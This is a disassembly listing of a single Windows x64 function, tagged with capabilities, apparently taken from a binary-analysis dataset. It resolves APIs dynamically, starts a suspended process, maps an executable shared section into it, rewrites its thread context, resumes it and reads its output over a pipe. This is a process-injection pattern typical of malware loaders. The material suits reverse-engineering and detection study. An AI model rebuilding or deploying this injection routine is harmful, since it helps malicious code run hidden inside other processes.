Function at 0x140012b20
Capabilities:
Create pipe
Create process on windows
Create process suspended
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x9d0
mov rax, qword [0x14005a300]
xor rax, rsp
mov qword [rsp + 0x9c0], rax
lea rdx, [rsp + 0x248]
lea rcx, [rsp + 0x60]
call fcn.140013600
mov rcx, rax
call fcn.140018c10
mov qword [rsp + 0xe0], rax
lea rdx, [rsp + 0x1b8]
lea rcx, [rsp + 0x61]
call fcn.1400135d0
mov rcx, rax
call fcn.140018bb0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0xe8], rax
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xe8]
call fcn.140012900
mov qword [rsp + 0x88], rax
lea rdx, [rsp + 0x238]
lea rcx, [rsp + 0x62]
call fcn.140013660
mov rcx, rax
call fcn.140018be0
mov qword [rsp + 0xf0], rax
lea rdx, [rsp + 0x1c8]
lea rcx, [rsp + 0x63]
call fcn.140013630
mov rcx, rax
call fcn.140018bb0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0xf8], rax
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xf8]
call fcn.140012900
mov qword [rsp + 0x150], rax
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x64]
call fcn.1400136c0
mov rcx, rax
call fcn.140018c40
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0x65]
call fcn.140013690
mov rcx, rax
call fcn.140018bb0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x108], rax
mov rdx, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x108]
call fcn.140012900
mov qword [rsp + 0xc0], rax
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x66]
call fcn.140013720
mov rcx, rax
call fcn.140018c10
mov qword [rsp + 0x110], rax
lea rdx, [rsp + 0x1e8]
lea rcx, [rsp + 0x67]
call fcn.1400136f0
mov rcx, rax
call fcn.140018bb0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x118], rax
mov rdx, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x118]
call fcn.140012900
mov qword [rsp + 0x180], rax
lea rdx, [rsp + 0x278]
lea rcx, [rsp + 0x68]
call fcn.140013780
mov rcx, rax
call fcn.140018c10
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x1f8]
lea rcx, [rsp + 0x69]
call fcn.140013750
mov rcx, rax
call fcn.140018bb0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x128], rax
mov rdx, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x128]
call fcn.140012900
mov qword [rsp + 0x190], rax
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x6a]
call fcn.1400137e0
mov rcx, rax
call fcn.140018ca0
mov qword [rsp + 0x130], rax
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0x6b]
call fcn.1400137b0
mov rcx, rax
call fcn.140018bb0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x138], rax
mov rdx, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x138]
call fcn.140012900
mov qword [rsp + 0x1a0], rax
lea rdx, [rsp + 0x2a8]
lea rcx, [rsp + 0x6c]
call fcn.140013840
mov rcx, rax
call fcn.140018c70
mov qword [rsp + 0x140], rax
lea rdx, [rsp + 0x218]
lea rcx, [rsp + 0x6d]
call fcn.140013810
mov rcx, rax
call fcn.140018bb0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x148], rax
mov rdx, qword [rsp + 0x140]
mov rcx, qword [rsp + 0x148]
call fcn.140012900
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x2c0], 0
mov dword [rsp + 0x308], 0x18
mov dword [rsp + 0x318], 1
mov qword [rsp + 0x310], 0
xor r9d, r9d
lea r8, [rsp + 0x308]
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x140012e91
xor eax, eax
jmp 0x1400135b0
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x140012eb2
xor eax, eax
jmp 0x1400135b0
mov dword [rsp + 0x3a8], 0x30
lea rax, [rsp + 0x3b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
lea rax, [rsp + 0x320]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x320], 0x68
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x378], rax
mov eax, dword [rsp + 0x35c]
bts eax, 8
mov dword [rsp + 0x35c], eax
lea rax, [rsp + 0x2d8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x2d8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x320]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x9e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140012faf
mov rcx, qword [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400135b0
mov qword [rsp + 0x2f0], 0
mov eax, dword [rsp + 0x9f0]
mov dword [rsp + 0x390], eax
lea rax, [rsp + 0x394]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea r9, [rsp + 0x390]
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rsp + 0x2f0]
call qword [rsp + 0x158]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x14001306f
mov rcx, qword [rsp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400135b0
mov qword [rsp + 0x2f8], 0
mov qword [rsp + 0x398], 0
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x170], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x168], rax
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rax, [rsp + 0x398]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x9f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rsp + 0x2f8]
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x168]
call qword [rsp + 0x170]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x14001315c
mov rcx, qword [rsp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400135b0
mov r8, qword [rsp + 0x9f0]
mov rdx, qword [rsp + 0x9e8]
mov rcx, qword [rsp + 0x2f8]
call fcn.1400110f0
mov qword [rsp + 0x300], 0
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x178], rax
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rax, [rsp + 0x398]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x9f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rsp + 0x300]
mov rdx, qword [rsp + 0x2d8]
mov rcx, qword [rsp + 0x2f0]
call qword [rsp + 0x178]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x14001323c
mov rcx, qword [rsp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400135b0
mov dword [rsp + 0x410], 0x10000b
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x188], rax
lea rdx, [rsp + 0x3e0]
mov rcx, qword [rsp + 0x2e0]
call qword [rsp + 0x188]
mov rax, qword [rsp + 0x300]
mov qword [rsp + 0x4d8], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x198], rax
lea rdx, [rsp + 0x3e0]
mov rcx, qword [rsp + 0x2e0]
call qword [rsp + 0x198]
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x1a8], rax
xor edx, edx
mov rcx, qword [rsp + 0x2e0]
call qword [rsp + 0x1a8]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140013310
mov rcx, qword [rsp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400135b0
cmp qword [rsp + 0x2e0], 0
je 0x14001352a
mov eax, 0xffffffff
mov qword [rsp + 0x3a0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xa8], rax
lea r8, [rsp + 0x3a0]
xor edx, edx
mov rcx, qword [rsp + 0x2e0]
call qword [rsp + 0xa8]
mov dword [rsp + 0x50], eax
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x70], 0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0x1b0], rax
mov ecx, 1
call fcn.14002bcd8
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400133a0
xor eax, eax
jmp 0x1400135b0
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x58]
mov byte [rcx + rax], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x2c8]
mov r8d, 0x103
lea rdx, [rsp + 0x8b0]
mov rcx, qword [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0
je 0x1400133f4
cmp dword [rsp + 0x2c8], 0
jne 0x1400133f9
jmp 0x1400134d8
mov eax, dword [rsp + 0x2c8]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0x104
jae 0x140013418
jmp 0x14001341d
call fcn.140022438
mov rax, qword [rsp + 0x90]
mov byte [rsp + rax + 0x8b0], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x78], 0xffffffffffffffff
inc qword [rsp + 0x78]
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
cmp byte [rax + rcx], 0
jne 0x140013443
mov rax, qword [rsp + 0x78]
mov ecx, dword [rsp + 0x2c8]
add rax, rcx
add rax, 2
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call fcn.14002bce4
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
jne 0x1400134aa
mov rcx, qword [rsp + 0x58]
call fcn.140029800
xor eax, eax
jmp 0x1400135b0
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0x2c8]
mov r8d, eax
lea rdx, [rsp + 0x8b0]
mov rcx, qword [rsp + 0x58]
call fcn.14002bd00
jmp 0x1400133b2
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x80], 0xffffffffffffffff
inc qword [rsp + 0x80]
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x80]
cmp byte [rax + rcx], 0
jne 0x1400134f1
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x58]
mov byte [rcx + rax], 0
mov rcx, qword [rsp + 0x58]
call fcn.140029800
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0xc8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd0]
call qword [rsp + 0xd8]
mov dword [rsp + 0x50], eax
mov rcx, qword [rsp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x9c0]
xor rcx, rsp
call fcn.140022760
add rsp, 0x9d0
pop rdi
ret